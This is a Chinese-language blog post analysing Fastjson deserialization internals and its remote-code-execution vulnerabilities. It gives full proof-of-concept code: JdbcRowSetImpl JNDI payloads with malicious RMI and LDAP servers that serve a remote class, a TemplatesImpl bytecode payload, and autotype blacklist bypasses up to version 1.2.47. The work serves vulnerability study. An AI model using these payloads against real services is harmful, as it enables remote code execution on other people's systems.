Fastjson 是一个Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
FastJson简单使用
序列化
JSON.toJSONString()序列化对象
package com.yq1ng.demo;
/**
* UserDao
*
* @author yq1ng
* @date 2021/12/22 21:06
* @since 1.0.0
*/
public class User {
private String name;
public User(){
System.out.println("init...");
}
public String getName() {
System.out.println("getName...");
return name;
}
public void setName(String name) {
System.out.println("setName...");
this.name = name;
}
@Override
public String toString() {
System.out.println("toString...");
return "User{" +
"name='" + name + '\'' +
'}';
}
}
package com.yq1ng.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
/**
* TestFastJson
*
* @author yq1ng
* @date 2021/12/22 21:18
* @since 1.0.0
*/
public class TestFastJson {
public static void main(String[] args) {
User user = new User();
user.setName("yq1ng");
System.out.println("============================No WriteClassName=============================");
System.out.println(JSON.toJSONString(user));
System.out.println("=============================WriteClassName===============================");
System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName));
}
}
反序列化
JSON.parse():反序列化字符串,返回 fastjson.JSONObject JSON.parseObject():反序列化字符串,返回Object
package com.yq1ng.demo;
import com.alibaba.fastjson.JSON;
/**
* TestFastJson
*
* @author yq1ng
* @date 2021/12/22 21:18
* @since 1.0.0
*/
public class TestFastJson {
public static void main(String[] args) {
String ser = "{\"name\":\"yq1ng\"}";
DeSer(ser);
System.out.println("===================================================================================================");
String ser1 = "{\"@type\":\"com.yq1ng.demo.User\",\"name\":\"yq1ng\"}";
DeSer(ser1);
}
public static void DeSer(String ser){
System.out.println(JSON.parse(ser).getClass().getName());
System.out.println("====================================================");
System.out.println(JSON.parseObject(ser).getClass().getName());
System.out.println("====================================================");
System.out.println(JSON.parseObject(ser, User.class).getClass().getName());
}
}
可以看到,在不加@type
的时候不能正确的反序列化,因为不知道是那个类的,后面JSON.parseObject(ser, User.class)
加上类算是正常反序列化了;而加上@type
的字符串就算不加User.class
也可以正常反序列化。也能看出这里反序列化均调用了 setter,那么在 setter 做点手脚会不会有惊喜?不演示了,肯定可以的
setter为private
当设置User的setter的修饰为private的时候(一般不会这么设置,或者说没有private属性对应的setter),就不能正确反序列化了,会访问不到数据
package com.yq1ng.demo;
/**
* UserDao
*
* @author yq1ng
* @date 2021/12/22 21:06
* @since 1.0.0
*/
public class User {
private String name;
private String age;
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
public User(){
System.out.println("init...");
}
public String getName() {
System.out.println("getName...");
return name;
}
private void setName(String name) {
System.out.println("setName...");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
这样的话是不能利用的,但是好在fastjson1.2.22版本引入了Feature.SupportNonPublicField
,反序列化的时候添加这个属性就可以访问到private的方法。猜测是截取原来的字符串赋值的
反序列化流程
package com.yq1ng.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
/**
* TestFastJson
*
* @author yq1ng
* @date 2021/12/22 21:18
* @since 1.0.0
*/
public class TestFastJson {
public static void main(String[] args) {
String ser = "{\"@type\":\"com.yq1ng.demo.User\",\"age\":\"18\",\"name\":\"yq1ng\"}";
// User user = JSON.parseObject(ser, User.class, Feature.SupportNonPublicField);
User user = JSON.parseObject(ser, User.class);
System.out.println(user.getName()+"..."+user.getAge());
}
}
在JSON.parseObject()
打断
跟进parse()
不用管那个989的值,没有设置Feature.SupportNonPublicField
的话默认就为这个。继续跟,看看怎么解析
跟DefaultJSONParser()
先跟进com/alibaba/fastjson/parser/JSONScanner.java#JSONScanner()
看看
注意构造函数这里 text
记录了反序列化的字符串,后面有用,然后进行重载DefaultJSONParser()
这里判断解析的是{
还是[
,然后为Token赋值,接着往下来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()
由于上面的赋值,会来到LBRACE分支,解析object。可以看到如果是LBRACKET的话会解析为数组。这里先创建一个空的JSONObject
,然后解析,跟进
这里会通过scanSymbol获取到@type
指定的类 com/alibaba/fastjson/parser/JSONLexerBase.java#scanSymbol()
com/alibaba/fastjson/parser/JSONScanner.java#next()
通过读取上面存储的反序列化字符串获取需要加载的类的全限定名,接着进行loadClass()
com/alibaba/fastjson/util/TypeUtils.java#loadClass()
首先从mappings
中寻找反序列化的类,看一下mappings
是什么
应该是Java基础数据类型类,不满足条件会在下面加载所需类
加载后进行反序列化 com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
跟进
这里重载了getDeserializer()
跟进createJavaBeanDeserializer()
,这里 clazz == type == @type
的类,createJavaBeanDeserializer()
就是创建一个反序列化器
跟进JavaBeanInfo.java#build()
,这里解释了为什么可以自动调用setter和getter
首先反射获取了type指定类的一些基本信息:构造函数、字段、方法。接着往下
首先是一个大判断,如果构造函数为空、类不为接口或方法不为抽象方法那就会进入if,这里显然不满足,跳过一段,来到这里
第四个是参数个数,继续往下
这里根据c3的不同情况进行截断,只要setter后半部分,比如这里就是setName
截取就是name
。接着往下
这里去获取该属性,如果没获取到,那就在属性前加上is
,例如name
获取失败就会变成isName
。然后将这些信息添加到fieldList
中
添加完setter后改getter了
和setter类似吧
然后也是添加到fieldList
里面,最后返回JavaBeanInfo
。
这里记录了属性的setter是public的信息,例如上图只存储了age
而name却没有
接着返回到com/alibaba/fastjson/parser/ParserConfig.java#createJavaBeanDeserializer()
跟进之前先在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#JavaBeanDeserializer()
接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject(ParserConfig config, JavaBeanInfo beanInfo)
这里打上断点,期间有很多不需要看的
将beanInfo
中关于属性的信息存起来,后面会使用,接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
跟进后是使用asm技术调用指定类了,首先进行初始化类
asm就是javassti的“底层版”,性能更好,但是没有javassti容易使用。《Java Javassist/ASM 框架比较》
这里idea并不能跟进,中间会对public的setter进行调用,设置值(忘了截图)然后一直往下
这里会对private的属性进行解析,这里是name,跟进
这里会对key进行一次智能匹配(模糊匹配),跟进
这里会对下划线和短横线进行删除,例如:stu_name --> stuname
。然后返回,注意我们这次debug是没开启SupportNonPublicField
的
跟进parser.lexer.isEnabled(mask)
与运算看是否为0,而传入的feature=131072
很有意思,这个是没开启SupportNonPublicField
的默认值,其二进制是100000000000000000
那么显然返回值是false了,所以我们加上SupportNonPublicField
继续debug
进入if
这里创建了一个支持并发的hashmap,然后获取@type
的所有属性存到fields
里面,fields
里面存了其对象、type等等(反射基础知识
接着将属性修饰中不带final
或static
的存起来,最后赋值给extraFieldDeserializers
,这里getFieldDeserializer()
的作用就是除去已经set的属性(上面初始化JavaBeanDeserializer
(反序列化器)的时候提到了存储存在public setter的属性
接着将属性与其对应的fieldInfo变为键值对存进extraFieldDeserializers
,继续往下
跟进parseField()
跟进getFieldValueDeserilizer()
这里field没有注解,所以进入else
这次是返回了一个StringCodec
。而fieldValueDeserilizer
可以理解为反序列化的一种方式,StringCodec
就是纯字符编码。接着看com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
判断field类型是否为泛型,这里不满足,继续
关于Type的泛型可以看:https://www.cnblogs.com/baiqiantao/p/7460580.html#parameterizedtype-%E5%8F%82%E6%95%B0%E5%8C%96%E7%B1%BB%E5%9E%8B
这里先判断fieldValueDeserilizer
是否为反序列化器,不满足则判断是否存在注解,也不满足,所以会到最后一个else分支,跟进fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name)
。这里去截取,位置在com/alibaba/fastjson/serializer/StringCodec.java#deserialze()
跟进lexer.stringVal()
然后返回到com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
这里赋值,跟进com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue()
反射赋值。解析结束
FastJson 漏洞
从上面可以知道反序列化会自动调用setter和getter,如果这两个方法里面存在恶意的代码那么也会被执行,这里先不进行介绍的,先来看 JdbcRowSetImpl利用链
JdbcRowSetImpl利用链
jdk版本:≤ 6u141、7u131、8u121 使用高版本需加入jvm参数:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
,因为8u121版本后默认关闭了com.sun.jndi.rmi.object.trustURLCodebase
漏洞利用(JNDI)
poc:
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
首先创建客户端
package com.yq1ng.vul;
import com.alibaba.fastjson.JSON;
/**
* FastJsonTest
*
* @author yq1ng
* @date 2021/12/29 19:45
* @since 1.0.0
*/
public class FastJsonTest {
public static void main(String[] args) {
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
JSON.parse(ser);
}
}
然后是jndi服务端
package com.yq1ng.vul;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* RMIServer
*
* @author yq1ng
* @date 2021/12/29 19:46
* @since 1.0.0
*/
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Evil", referenceWrapper);
System.out.println("Server is running...");
}
}
接着是恶意类,注意这个恶意类不能带有包名,也就是package
import java.io.IOException;
/**
* Evil
*
* @author yq1ng
* @date 2021/12/29 19:46
* @since 1.0.0
*/
public class Evil {
public Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后编译恶意类,并起一个python简单服务,注意python3的启动方式是python -m http.server 8080
不再是python -m SimpleHTTPServer 8080
然后启动jndi服务,启动客户端即可
漏洞分析
poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
,从上面的反序列化流程可以知道会去调用指定类,然后调用setter,这里会调用setDataSourceName()
和setAutoCommit()
。
在deserialze
后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()
这里默认的dataSource
是空的,所以会设置为我们传入的恶意rmi。接着来到setAutoCommit()
这里conn
为空,所以进行获取,这里形参也解释了为什么payload的autoCommit
为true
。跟进this.connect()
首先初始化上下文,然后开始找传入的rmi类
继续跟
首先看getRootURLContext()
,全局查找的话会有四个类去调用
这里会根据不同协议去调用不同的getRootURLContext()
,这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()
这里对传入的rmi格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回
继续跟
首先是一个判空,然后去注册中心找Evil,接着在return跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()
这里将构造的Reference
赋值给var3
,然后跟进NamingManager.java#getObjectInstance()
到这里跟进getObjectFactoryFromReference()
先从本地尝试加载Evil,如果不存在继续往下看
本地不存在的话就会尝试从codebase中加载class
什么是codebase?以下内容摘自:Java-RMI codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。
跟进helper.loadClass()
这里通过URLClassLoader
进行加载类。最后进行实例化,导致rce
漏洞利用(LDAP)
poc:
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>5.1.4</version>
<scope>test</scope>
</dependency>
恶意类不变,也是开启一个http
客户端改改poc就行
package com.yq1ng.vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.yq1ng.demo.User;
/**
* FastJsonTest
*
* @author yq1ng
* @date 2021/12/29 19:45
* @since 1.0.0
*/
public class FastJsonTest {
public static void main(String[] args) {
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(ser, Feature.SupportNonPublicField);
}
}
server如下
package com.yq1ng.vul;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
/**
* LdapServer
*
* @author yq1ng
* @date 2022/1/4 21:29
* @since 1.0.0
*/
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8888/#Evil";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
TemplatesImpl利用链
漏洞利用
客户端反序列化需要带上
Feature.SupportNonPublicField
,这也就导致这个链子比较鸡肋 poc:String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + badByteCodes + "\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
最简poc:String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +<br /> "\"_bytecodes\":[\"" + badByteCodes + "\"]," +<br /> "\"_name\":\"a.b\",\"_outputProperties\":{ }}";
先创建一个恶意类,然后编译为class待用
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
/**
* TLI
*
* @author yq1ng
* @date 2021/12/30 22:39
* @since 1.0.0
*/
public class TLI extends AbstractTranslet {
public TLI(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
写一个客户端
package com.yq1ng.vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
/**
* FastJsonTest
*
* @author yq1ng
* @date 2021/12/29 19:45
* @since 1.0.0
*/
public class FastJsonTest {
public static void main(String[] args) {
String badByteCodes = encryptToBase64("D:\\Software\\IntelliJ IDEA 2021.2.2\\workpath\\fastjson\\src\\test\\java\\TLI.class");
String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"" + badByteCodes + "\"]," +
"\"_name\":\"a.b\",\"_outputProperties\":{ }}";
JSON.parse(ser, Feature.SupportNonPublicField);
}
public static String encryptToBase64(String filePath){
if (filePath == null){
return null;
}
try {
byte[] bytes = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}
因为TemplatesImpl中的属性为private
所以需要加上Feature.SupportNonPublicField
漏洞分析
先看懂cc2会来得更快。这个加载就不多说 了,主要是poc的几个疑点
为什么需要加上_outputProperties
pco中有_outputProperties
,那么反序列化就会调用其getter和setter,从上面的流程也可以知道在解析属性的时候会删除下划线,所以这里就会调用getOutputProperties()
而在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#getOutputProperties()
中调用了newTransformer()
后面就可以加载字节码了
为什么_bytecodes
需要base64
在cc2中可以知道_bytecodes
直接是字节码,不需要base64,而这里却必须base64编码才行。这是因为fastjson内部的一个“约定”,序列化byte[]
会base64编码,反序列化String->byte[]
会base64解码,具体代码在com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
直接看下面这个
跟进去
为什么不需要_tfactory
cc2中可以知道_tfactory
是不能为空的,而这里poc甚至不需要加上_tfactory
也可以成功rce。流程里面提到会解析所有没去调用setter的属性 com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#deserialze()
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#parseField()
跟进
这个fieldValueDeserilizer
符合反序列化器(JavaBeanDeserializer
),所以进入第一个if
这里会用asm去获取一个class com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
对象,所以poc中不需要增加_tfactory
字段也可以
各种Bypass
1.2.25-1.2.41
类名前加上
L
,类名后加上;
即可绕过,前提是服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
poc:String ser = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
其余类似
先看一个wiki:https://github.com/alibaba/fastjson/wiki/enable_autotype,在1.2.25之后的版本,以及所有的.sec01后缀版本中,autotype功能是受限的,也就是不能随意加载类了,除非服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
或以其他方式开启autotype。
maven直接拉取1.2.25版本的,然后使用idea对比两个jar包(先在idea选中一个jar包,然后按ctrl+d选取另外一个jar即可)
可以看到以前直接加载类的变成先checkAtuo了,这个方法分两种情况,一个是没开启autotype,一个是开启了autotype。代码控制是boolean autoTypeSupport
未开启autotype
直接看这段代码,先判断是否存在黑名单内,存在则抛异常;然后判断是否在白名单,存在则加载此类,然后return。
如果不在白名单的话接着往下走
直接抛异常。
所以总结一下就是未开启autotype的话传入的类需要不在黑名单而又在白名单内
开启autotype
开启的话过滤代码是先判是否在白名单然后判是否在黑名单
白名单默认为空,黑名单如下
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
看似过滤很多,但是checkAutoType()
最后加载类有猫腻
跟进
那么只需要在类前加上L
类后加上;
即可绕过所有黑名单
其他类似,不再展示。
1.2.42
删除了开头的
L
和结尾的;
,bypass双写就可 poc:String ser = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
41的修复在这:https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd
可以看到对明文黑名单进行了hash,这样我们就不知道过滤了什么类,好在前辈们已经铺好了路:https://github.com/LeadroyaL/fastjson-blacklist
其加密方式在src/main/java/com/alibaba/fastjson/util/TypeUtils.java#fnv1a_64()
除了黑名单的改动还有就是checkAutoType()
哪里
如果类开头为L
结尾为;
则将其截去,这很好的修复了41的绕过。那么42的bypass也很明显了,直接双写即可,即LL
和;;
。修复方法属实可爱
1.2.43修复
import com.alibaba.fastjson.JSONException;
/**
* test
*
* @author yq1ng
* @date 2022/1/6 16:29
* @since 1.0.0
*/
public class test {
public static void main(String[] args) {
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
String className = "LLtest;";
// L开头,;结尾
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L) {
// LL开头直接抛异常
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L) {
throw new JSONException("autoType is not support. ");
}
// 9195c07b5af5345
System.out.println(className.substring(1, className.length() - 1));
}
}
}
修复也很直接,遇到LL直接抛异常。再往后的绕过就需要其他jar包的支持了
1.2.45
前提条件:需要有第三方组件ibatis-core 3:0
poc:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/Exploit"}}
1.2.47通杀CheckAutoType和黑名单
漏洞原理:通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
上面几个版本流程差不多,这里是以1.2.47版本,未开启AutoTypeSupport为例
在com/alibaba/fastjson/parser/ParserConfig.java#checkAutoType()
打上断
这里由于没开启AutoTypeSupport
所以不会判断白黑名单,继续往下
跟进
从mappings里面找的,看一下他是怎么被初始化的
跟进静态方法中的addBaseClassMappings()
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class);
mappings.put("float", float.class);
mappings.put("double", double.class);
mappings.put("boolean", boolean.class);
mappings.put("char", char.class);
mappings.put("[byte", byte[].class);
mappings.put("[short", short[].class);
mappings.put("[int", int[].class);
mappings.put("[long", long[].class);
mappings.put("[float", float[].class);
mappings.put("[double", double[].class);
mappings.put("[boolean", boolean[].class);
mappings.put("[char", char[].class);
mappings.put("[B", byte[].class);
mappings.put("[S", short[].class);
mappings.put("[I", int[].class);
mappings.put("[J", long[].class);
mappings.put("[F", float[].class);
mappings.put("[D", double[].class);
mappings.put("[C", char[].class);
mappings.put("[Z", boolean[].class);
Class<?>[] classes = new Class[]{
Object.class,
java.lang.Cloneable.class,
loadClass("java.lang.AutoCloseable"),
java.lang.Exception.class,
java.lang.RuntimeException.class,
java.lang.IllegalAccessError.class,
java.lang.IllegalAccessException.class,
java.lang.IllegalArgumentException.class,
java.lang.IllegalMonitorStateException.class,
java.lang.IllegalStateException.class,
java.lang.IllegalThreadStateException.class,
java.lang.IndexOutOfBoundsException.class,
java.lang.InstantiationError.class,
java.lang.InstantiationException.class,
java.lang.InternalError.class,
java.lang.InterruptedException.class,
java.lang.LinkageError.class,
java.lang.NegativeArraySizeException.class,
java.lang.NoClassDefFoundError.class,
java.lang.NoSuchFieldError.class,
java.lang.NoSuchFieldException.class,
java.lang.NoSuchMethodError.class,
java.lang.NoSuchMethodException.class,
java.lang.NullPointerException.class,
java.lang.NumberFormatException.class,
java.lang.OutOfMemoryError.class,
java.lang.SecurityException.class,
java.lang.StackOverflowError.class,
java.lang.StringIndexOutOfBoundsException.class,
java.lang.TypeNotPresentException.class,
java.lang.VerifyError.class,
java.lang.StackTraceElement.class,
java.util.HashMap.class,
java.util.Hashtable.class,
java.util.TreeMap.class,
java.util.IdentityHashMap.class,
java.util.WeakHashMap.class,
java.util.LinkedHashMap.class,
java.util.HashSet.class,
java.util.LinkedHashSet.class,
java.util.TreeSet.class,
java.util.concurrent.TimeUnit.class,
java.util.concurrent.ConcurrentHashMap.class,
loadClass("java.util.concurrent.ConcurrentSkipListMap"),
loadClass("java.util.concurrent.ConcurrentSkipListSet"),
java.util.concurrent.atomic.AtomicInteger.class,
java.util.concurrent.atomic.AtomicLong.class,
java.util.Collections.EMPTY_MAP.getClass(),
java.util.BitSet.class,
java.util.Calendar.class,
java.util.Date.class,
java.util.Locale.class,
java.util.UUID.class,
java.sql.Time.class,
java.sql.Date.class,
java.sql.Timestamp.class,
java.text.SimpleDateFormat.class,
com.alibaba.fastjson.JSONObject.class,
};
for(Class clazz : classes){
if(clazz == null){
continue;
}
mappings.put(clazz.getName(), clazz);
}
String[] awt = new String[]{
"java.awt.Rectangle",
"java.awt.Point",
"java.awt.Font",
"java.awt.Color"};
for(String className : awt){
Class<?> clazz = loadClass(className);
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
String[] spring = new String[]{
"org.springframework.util.LinkedMultiValueMap",
"org.springframework.util.LinkedCaseInsensitiveMap",
"org.springframework.remoting.support.RemoteInvocation",
"org.springframework.remoting.support.RemoteInvocationResult",
"org.springframework.security.web.savedrequest.DefaultSavedRequest",
"org.springframework.security.web.savedrequest.SavedCookie",
"org.springframework.security.web.csrf.DefaultCsrfToken",
"org.springframework.security.web.authentication.WebAuthenticationDetails",
"org.springframework.security.core.context.SecurityContextImpl",
"org.springframework.security.authentication.UsernamePasswordAuthenticationToken",
"org.springframework.security.core.authority.SimpleGrantedAuthority",
"org.springframework.security.core.userdetails.User"
};
for(String className : spring){
Class<?> clazz = loadClass(className);
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
}
将常用类放入mappings,我们传入的java.lang.Class
不在这里,所以返回为空,往下findClass()
是可以找到的,所以返回
来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
跟进到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze()
这里会到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()
取得传入的恶意类:com.sun.rowset.JdbcRowSetImpl
return后继续往下经过一系列if判断
跟进
这里会将恶意类put进mappings,前提是cache为true,而这个loadClass()
是重载来的,cache默认为true
然后后面去解析b
的时候由于mappings中存在恶意类了,所以直接加载,不写了
1.2.48修复
cache默认为false了,秒天秒地秒空气
1.2.68
不再赘述了,,直接看师傅们的文章吧
fastjson v1.2.68 RCE利用链复现
Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
JDK8任意文件写场景下的Fastjson RCE
最后的最后
JAVA反序列化—FastJson组件这篇文章的评论可谓是脑洞大开,初也师傅的payload很有意思
稍微跟了下发现解析的时候并不是先去判断json格式是否成立,而是直接读取引号后面的内容,所以导致畸形payload也可以执行
发现一个好文!浅谈fastjson waf Bypass思路,格局打开了~
参考
https://xz.aliyun.com/t/8979
http://wjlshare.com/archives/1512
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/10671
https://y4er.com/post/fastjson-learn/
https://xz.aliyun.com/t/7027